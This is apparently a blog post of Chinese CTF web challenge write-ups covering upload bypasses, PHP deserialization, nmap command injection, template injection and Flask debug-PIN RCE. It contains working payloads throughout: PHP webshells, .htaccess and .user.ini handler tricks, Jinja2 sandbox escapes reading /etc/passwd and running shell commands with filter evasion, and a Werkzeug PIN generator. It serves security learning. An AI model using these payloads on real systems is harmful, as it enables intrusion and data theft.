    文件后缀我们用.phtml绕过,文件类型我们修改为Content-Type:image/jpeg,文件内容它检测到了”<?”,可以用<script language=”php”>eval($_POST[shell])</script>绕过,还需要加上文件头GIF89a

    [ACTF2020 新生赛]Upload

    上来就是一个前端js验证,burp抓包修改后缀:

    发现response是nonono bad file,试试.phtml后缀

    成功

    [GXYCTF2019]BabyUpload

    这道题很迷,测了很多东西都过不去,甚至最后测一张普通的图片都过不去,最后才在源代码中发现对上传内容长度有限制:$_FILES[“uploaded”][“size”] < 2048。

    那么重新按常规思路走:

    首先修改content-Type必须为image/jpeg才可以,然后发现后缀名也不能含有ph,

    还是不行,修改一句话为<script language=”php”>eval($_REQUEST[shell])</script>成功绕过。

    既然只上传了一个jpg文件,那么还需要上传一个.htaccess

    .htaccess的方法:

    方法一:
    只将“haha.png”文件当成php文件执行
    <FilesMatch "haha.png">
    SetHandler application/x-httpd-php
    </FilesMatch>
    方法二:
    这里时是要包含所有文件带有haha的文件(只要文件名里面有haha都可以),都会被当成php代码执行
    <FilesMatch "haha">
    SetHandler application/x-httpd-php
    </FilesMatch>
    方法三:
    这种方法时,后面的.png或者.jpg文件能被当成php代码执行,如果想换成别的改扩展名就可以
    AddType application/x-httpd-php .png
    AddType application/x-httpd-php .jpg
    

    最后可以使用蚁剑连接

    [MRCTF2020]你传你🐎呢

    测了一下发有黑名单过滤和MIME信息过滤,那就常规操作,上传个png木马,再传个.htaccess文件,将Content-Type修改为image/png就行。

    要注意的是,这题用不了system等函数了,但可以用show_source()。

    [SUCTF 2019]CheckIn

    打开后可以看到是一个文件上传的题目,我们先上传个一句话,测试过程中发现这道题限制了文件后缀,文件头,还过滤了<?,

    所以我们需要上传一个.png的图片马,内容如下:

    GIF89a
    <script language="php">eval($_POST[shell])</script>
    

    这道题测试了一下虽然可以成功上传.htaccess文件,但不能利用,可能是没有开启AllowOverride All,所以只能使用.user.ini文件(前提是含有.user.ini的文件夹下需要有正常的php文件)

    GIF89a
    auto_prepend_file=haha.png
    

    最后需要访问index.php

    [BUUCTF 2018]Online Tool

    这道题的重点在于这两个函数:

    escapeshellarg()
    escapeshellcmd()
    

    参考文章:https://paper.seebug.org/164/

    escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
    功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,
    这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
    
    escapeshellcmd — shell 元字符转义
    功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 
    此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
    反斜线(\)会在以下字符之前插入:
    &#;`|\?~<>^()[]{}$\, \x0A 和 \xFF。    ’ 和 “ 仅在不配对儿的时候被转义。 
    在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
    

    然后具体这道题的利用点在nmap这里,在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

    ?host=' <?php eval($_POST["v"]);?> -oG shell.php '
    

    注意事项:

    两边加单引号是因为,不加的话,两个函数执行后会变成:

    '<?php eval($_POST["v"]);?> -oG shell.php'
    

    引号旁边加空格是因为,如果不加,当两个函数执行后就会生成:

    ''\\''\<\?php @eval\(\$_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''
    

    注意:在bash中,单引号是全引用,被单引号括起的内容不管是常量还是变量都不会发生替换。所以最终就会是

    \<?php eval($_POST["v"]);?> -oG shell.php\\
    

    php反序列化

    [极客大挑战 2019]PHP

    首页给出了提示,要找备份文件

    常见的备份文件后缀名:.git .svn .swp .~ .bak .bash_history

    用dirmap可以扫出www.zip,下载下来包括以下文件index.php flag.php index.js class.php style.css

    index.php中有入口:

    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    

    很明显是php反序列化,看class.php:

    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
        function __wakeup(){
            $this->username = 'guest';
        }
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
            }
        }
    }
    ?>
    

    在__destruct()中,我们需要让password弱相等于100,让username等于admin才能得到flag,但是这里有个__wakeup()魔术方法,它在反序列化时先执行,我们需要绕过这个魔术方法

    这里存在一个CVE漏洞:当成员属性数目大于实际数目时可绕过__wakeup()方法

    我们先生成序列化对象:

    <?php
    class Name{
        private $username;
        private $password;
        public function __construct(){
            $this->username='admin';
            $this->password=100;
        }
    }
    echo serialize(new Name());
    ?>
    
    O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    再将成员属性数目改成3,并且在私有属性中添加上%00

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    [网鼎杯 2020 青龙组]AreUSerialz

    代码审计一下发现__destruct()里的$op与2是强比较,process()函数里的是若比较,所以我们可以

    将op实例化为数字2进行绕过,然后将filename实例化为”./flag.php”。

    但是这里的变量属性是protected,序列化后会出现%00不可见字符,通过不了is_valid()函数

    绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

    <?php
    class FileHandler
    {
        public $op = "2";
        public $filename = "./flag.php";
    }
    echo urlencode(serialize(new FileHandler()));
    
    payload:O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3B%7D
    

    还可以使用伪协议:

    <?php
    class FileHandler
    {
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    }
    echo urlencode(serialize(new FileHandler()));
    

    [ZJCTF 2019]NiZhuanSiWei

    第一层绕过:

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
    

    这里就要用到伪协议,php://input和data都可以

    ?text=data://text/plain,welcome to the zjctf
    

    然后:

    else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    

    意思是在useless.php中反序列化

    这里可以用伪协议去读取useless.php:

    ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
    

    { % asset_img 101403.png%}

    序列化:

    <?php
    class Flag {
        public $file='flag.php';
    }
    echo serialize(new Flag());
    

    最终payload:

    ?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    [网鼎杯 2020 朱雀组]phpweb

    打开后页面一直在闪,找了一下没有什么信息,抓包:

    这里自动提交了两个参数func和p,猜测源码里应该有call_user_func()函数,用file_get_contents测试一下:

    func=file_get_contents&p=index.php
    

    输出了index.php源码:

    { % asset_img 122921.png%}

    代码审计发现我们可以利用反序列化

    序列化:

    <?php
    class Test{
        public $p="find / -name flag*";
        public $func="system";
    }
    echo serialize(new Test());
    //O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
    

    传参后:

    读文件/tmp/flagoefiu4r93:

    func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
    

    [MRCTF2020]Ezpop

    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
        public function __toString(){
            return $this->str->source;
        }
    
        public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
        }
    }
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
    
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    if(isset($_GET['pop'])){
        @unserialize($_GET['pop']);
    }
    else{
        $a=new Show;
        highlight_file(__FILE__);
    }
    

    这道题的函数调用顺序是

    __wakeup()->__toString()->__get()->__invoke()->append->文件包含

    最主要的一点是调用Show类中的__wakeup()函数后要再调用一次Show类中的__tostring函数

    payload

    <?php
    class Modifier{
        protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
    }
    class Test{
        public $p;
    }
    class Show{
        public $source;
        public $str;
    }
    $a=new Show();
    $a->source=new Show();
    $a->source->str=new Test();
    $a->source->str->p=new Modifier();
    
    echo serialize($a);	
    //O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
    

    注意加%00

    [安洵杯 2019]easy_serialize_php

    <?php
    $function = @$_GET['f'];
    function filter($img){
        $filter_arr = array('php','flag','php5','php4','fl1g');
        $filter = '/'.implode('|',$filter_arr).'/i';
        return preg_replace($filter,'',$img);
    }
    
    if($_SESSION){
        unset($_SESSION);
    }
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    extract($_POST);
    if(!$function){
        echo '<a href="index.php?f=highlight_file">source_code</a>';
    }
    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    $serialize_info = filter(serialize($_SESSION));
    if($function == 'highlight_file'){
        highlight_file('index.php');
    }else if($function == 'phpinfo'){
        eval('phpinfo();'); //maybe you can find something in here!
    }else if($function == 'show_image'){
        $userinfo = unserialize($serialize_info);
        echo file_get_contents(base64_decode($userinfo['img']));
    }
    

    题目提示我们访问phpinfo:

    应该就是让我们去dog3_f1ag.php里面去找flag

    而这道题的难点就是这里

    if(!$_GET['img_path']){
        $_SESSION['img'] = base64_encode('guest_img.png');
    }else{
        $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
    }
    

    而且最后面只进行了base64解码,所以在这段代码中我们不可能将img设为d0g3_f1ag.php

    看了下别人wp,这又是一道反序列化字符串逃逸题,看来还是做题太少,想不起来字符串逃逸

    代码中有个extract($_POST),这也是我们传参的突破口

    用extract函数对数组变量覆盖时,之前的变量会全部消失,例如:

    <?php
    $_SESSION["user"] = 'guest';
    $_SESSION['function'] = $function;
    var_dump($_SESSION);
    echo "<br/>";
    extract($_POST);
    var_dump($_SESSION);
    //array(2) { 'user' => string(5) "guest" 'function' => NULL }
    //{ 'flag' => string(3) "123" 'user' => string(5) "admin" }
    

    当我们传入SESSION[flag]=123和SESSION[user]=admin时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123和_SESSION[user]=admin

    然后就是字符串逃逸,反序列化字符串逃逸有两种方式,一种是字符串变多,一种是变少,常见的是字符串变多,而这道题是字符串变少

    字符串逃逸又分为两种形式,键名逃逸和键值逃逸

    1、键值逃逸

    payload

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"dfd";s:2:"fd";}
    //后面添加s:3:"dfd";s:2:"fd";是因为题目在序列化之前添加了一次img,使序列化后的属性数量变为3
    

    然后题目又让我们去/d0g3_fllllllag去找flag

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=f";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:3:"dfd";s:2:"fd";}
    

    2、键名逃逸

    原理相同

    _SESSION[user]=adddd&_SESSION[flagflagflag]=fddd";s:3:"fdd";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    

    [NPUCTF2020]ReadlezPHP

    先传个参过去:

    ?data=O:8:"HelloPhp":2:{s:1:"a";s:15:"$_POST["shell"]";s:1:"b";s:4:"eval";}
    

    发现会出错网页没法运行,看了其他师傅wp,这里要用assert

    assert()可以将整个字符串参数当作php参数执行,
    而类似的eval()函数是执行合法的php代码,eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外。

    payload

    O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
    或
    O:8:"HelloPhp":2:{s:1:"a";s:21:"eval($_POST["shell"])";s:1:"b";s:6:"assert";}
    

    并且这道题屏蔽了system

    [0CTF 2016]piapiapia

    爆破和注入好像都不行,扫描目录试一下:

    php特性

    [BJDCTF2020]ZJCTF,不过如此

    首先可以利用php伪协议绕过判断并查看题目中提示的next.php的源码

    ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
    

    payload:

    /next.php?\S*=${getFlag()}&cmd=system("ls");
    

    这里的PHP版本是:5.6.40preg_replace()+/e存在代码执行漏洞

    具体参考文章:

    https://www.xinyueseo.com/websecurity/158.html

    https://www.cnblogs.com/sipc-love/p/14289984.html

    SSTI模板注入

    [护网杯 2018]easy_tornado

    打开后有三个超链接:

    { % asset_img 173958.png %}

    内容分别是:

    flag in /fllllllllllllag
    render
    md5(cookie_secret+md5(filename))
    

    当我们分别去点击这些链接的时候发现url结构都相同:

    { % asset_img 174339.png %}

    那么我们可以猜到我们想要的payload应该是/file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(“/fllllllllllllag”))

    所以问题的关键是这个cookie_secret,去百度了一下,发现了一篇现成的文章:

    http://www.manongjc.com/detail/25-hjhhgdoihywitdw.html

    其实这里的**/error?msg=**我们点击链接的时候随便破坏一下就可以得到/error?msg=Error,然后成功得到cookie_secret:

    最后进行md5加密后即可得到filehash

    [BJDCTF2020]The mystery of ip

    源码中有“The mystery of ip”,主页左上角有Flag菜单选项,点击后发现会显示自己的ip,Hint菜单的源码中提示“Do you know why i know your ip?”,联想到X-Forward-For,抓包传参:

    果然我们可以控制XFF,然后不知道干什么,看别人wp发现是smart模板注入,我们直接传参:

    {system("ls")}
    {system("cat /flag")}
    

    这里的突破口是flag页面的用户登录

    测试有模板注入漏洞

    通过判断,是Twig注入,所以有固定的payload

    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
    
    {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag
    

    这道题不能直接在页面进行注入,要在cookie里面注入

    [WesternCTF2018]shrine

    题目给的源码:

    import flask
    import os
    app = flask.Flask(__name__)
    app.config['FLAG'] = os.environ.pop('FLAG')
    @app.route('/')
    def index():
        return open(__file__).read()
    @app.route('/shrine/<path:shrine>')
    def shrine(shrine):
        def safe_jinja(s):
            s = s.replace('(', '').replace(')', '')
            blacklist = ['config', 'self']
            return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
        return flask.render_template_string(safe_jinja(shrine))
    if __name__ == '__main__':
        app.run(debug=True)
    

    这题是flask模板注入

    审计题目给的源码,在shrine路径下测试ssti能正常执行

    接着分析源码,注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}{{self.*dict*}}即可查看所有app.config内容,但是这题设了黑名单,把[‘config’,‘self’]设为None并且过滤了括号;当这些被过滤的时候,我们需要借助一些全局变量利用沙盒逃逸的方法,来调用被禁用的函数对象。

    current_app,这是全局变量代理(当前app),查看他的config即可
    

    我们写payload:

    {{url_for.__globals__}}
    

    然后:

    {{url_for.__globals__['current_app'].config}}
    

    [CISCN2019 华东南赛区]Web11

    题目模拟了一个获取IP的API,并且可以在最下方看到 “Build With Smarty !” 可以确定页面使用的是Smarty模板引擎。

    在页面的右上角发现了IP,猜测这个IP受X-Forwarded-For头控制。

    将XFF头改为 {6*7} 会发现该位置的值变为了42,便可以确定这里存在SSTI。

    直接构造 {system(‘cat /flag’)} 即可得到flag

    [GYCTF2020]FlaskApp

    题目提示是flask

    在加密内输入49 ,生成base64码e3s3Kjd9fcKg; 将e3s3Kjd9fcKg输入到解码框内,显示no no no说明存在防御

    换一个输入14,base64码为e3s3Kzd9fQ==,解码后,显示的是14,因此存在ssti

    在解码页面随便输几个字符,看到报错信息,网站打开了flask的debug模式,在debug页面我们可以看到文件名,路径,源码和出错的方法名等信息

    预期解 利用PIN码进行RCE

    经过测试,执行命令的ssti注入方法别过滤了,按照提示,应该想办法用pin码

    https://zhuanlan.zhihu.com/p/32336971

    pin码的生成需要下面这些东西:

    1、服务器运行flask所登录的用户名。 通过读取/etc/passwd获得
    2、modname 一般不变就是flask.app
    3、getattr(app, “name”, app.class.name)。python该值一般为Flask
    值一般不变
    4、flask库下app.py的绝对路径。通过报错信息就会泄露该值。
    5、当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡
    6、最后一个就是机器的id。 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup:
    

    先读登录的用户名

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
    

    其中的用户名是flaskweb

    我们用上面的payload稍加改动,将其中读文件的部分改成/sys/class/net/eth0/address,就可以读取机器的MAC地址了

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}
    

    将7e5fe8cec8a7转换为10进制为:138950392858791

    按照其他师傅wp,题目是docker环境,因此读机器id需要读/proc/self/cgroup,但搞了半天生成的pin不对,后面试了一下/etc/machine-id,没想到对了,想想应该是其他师傅正式比赛时时docker环境,而我在buu做的时候是linux环境

    1408f836b0ca514d796cbf8960e45fa1

    然后用巨佬写的exp生成pin码

    import hashlib
    from itertools import chain
    probably_public_bits = [
        'flaskweb'# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    private_bits = [
        '138950392858791',# str(uuid.getnode()),  /sys/class/net/ens33/address
        '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
    ]
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    cookie_name = '__wzd' + h.hexdigest()[:20]
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
    print(rv)
    //267-749-798
    

    将生成的pin码传入,然后就可以在终端RCE了

    非预期解

    先读app.py

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
    

    主要审计一下waf,过滤了import,flag,os,system,popen,eval等

    不过可以使用字符串拼接绕过或字符串倒转

    找目录

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['ev'+'al']('__im'+'port__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()')}}{% endif %}{% endfor %}
    或
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
    

    再读flag

    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['open']('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
    
    //字符串倒转
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
    

    混杂

    [BJDCTF2020]Mark loves cat

    扫了一下目录发现有.git,应该是git文件泄露,用githack扫一下:

    能扫到index.php和flag.php,但down不下来,可能是靶机的原因,在网上找一下

    <?php
    include 'flag.php';
    print_r($flag);
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    foreach($_POST as $x => $y){  // $键 = $值的值
        $$x = $y;  
        
    }
    foreach($_GET as $x => $y){
        $$x = $$y;// $handsome = flag的值  --->   $handsome = $flag  --> $x=handsome & $y=flag
    }
     // 需要不满足以下几个条件
    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){  //不能同时 flag的值等于某个键名,那个键值又是flag
            exit($handsome);
        }
    }
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){// 不能同时  GET 和 POST 都没设置 flag
        exit($yds);
    }
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){// 任意都不能满足 flag === 'flag'
        exit($is);
    }
    echo "the flag is: ".$flag;
    

    看了一下wp,在三个判断中有三种变量覆盖解法:

    1、利用handsome

    ?handsome=flag&flag=dd&dd=xxx
    

    2、利用yds

    ?yds=flag
    

    3、利用is

    ?is=flag&flag=flag
    

    [MRCTF2020]PYWebsite

    查看源代码:

    直接可以进入flag.php:

    通过这两句话的提示,我们尝试在请求包中加入X-Forwarded-For: 127.0.0.1

    最后成功获得flag

    [ASIS 2019]Unicorn shop

    输入前三个商品的价格:

    输入最后一个商品:

    告诉了我们只能使用一个字符,一个字符能够购买的就只有前三只独角兽,虽然我也没有购买成功hhh

    所以猜测只要购买了第四只独角兽,就能获取flag

    于是我们需要找到单个字符utf-8解码后比1337大的数字

    这里有其他师傅给的网站:

    https://www.compart.com/en/unicode

    搜索:thousand,选择一个Numeric Value大于1337的字符:

    0xE2 ox86 ox88的0x换成%然后传参即可成功获得flag

    这道题其实可以直接传”万”字通过

    [CISCN 2019 初赛]Love Math

    <?php
    error_reporting(0);
    //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    if(!isset($_GET['c'])){
        show_source(__FILE__);
    }else{
        //例子 c=20-1
        $content = $_GET['c'];
        if (strlen($content) >= 80) {
            die("太长了不会算");
        }
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $content)) {
                die("请不要输入奇奇怪怪的字符");
            }
        }
        //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
        $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
        preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
        foreach ($used_funcs[0] as $func) {
            if (!in_array($func, $whitelist)) {
                die("请不要输入奇奇怪怪的函数");
            }
        }
        //帮你算出答案
        eval('echo '.$content.';');
    }
    

    这道题有黑名单和白名单,屏蔽了很多东西

    我们一般rce要构造出如下代码:

    ?c=system("cat /flag")
    

    但是system和引号没法绕过白名单,空格和引号没法通过黑名单

    引号其实可以省略,system可以不用引号

    这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’)

    ?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
    

    但是问题又来了,_GET不是白名单里的变量名,[]也被黑名单过滤

    []可以用{}绕过

    _GET就要用到hex2bin() 函数

    hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

    所以我们先把_GET转为16进制

    5f 47 45 54

    然后_GET=hex2bin(5f 47 45 54)

    hex2bin也不是白名单里的函数,所以我们这里要用到**base_convert()**函数来进行转换

    base_convert()函数能够在任意进制之间转换数字

    这里的hex2bin可以看做是36进制,用base_convert来转换将一个10进制的数字转换为36进制就可以出现hex2bin

    所以hex2bin=base_convert(37907361743,10,36)

    5f 47 45 54也不能直接填,因为会被preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 这句话当作函数名放进白名单里检测,所以只能全是数字才不会被正则匹配到,所以5f 47 45 54也需要经过进制转化,dechex() 函数把十进制数转换为十六进制数。

    5f474554=dechex(1598506324)

    所以

    _GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))
    

    将_GET存进一个变量里:

    $pi=base_convert(37907361743,10,36)(dechex(1598506324));
    

    payload

    ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{log})&pi=system&log=cat /flag
    

    [BSidesCF 2019]Kookie

    题目给了一个账户:cookie/monster,登录抓包

    发现设置了一个cookie:username=cookie

    接着携带cookie发包尝试获得flag


    转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。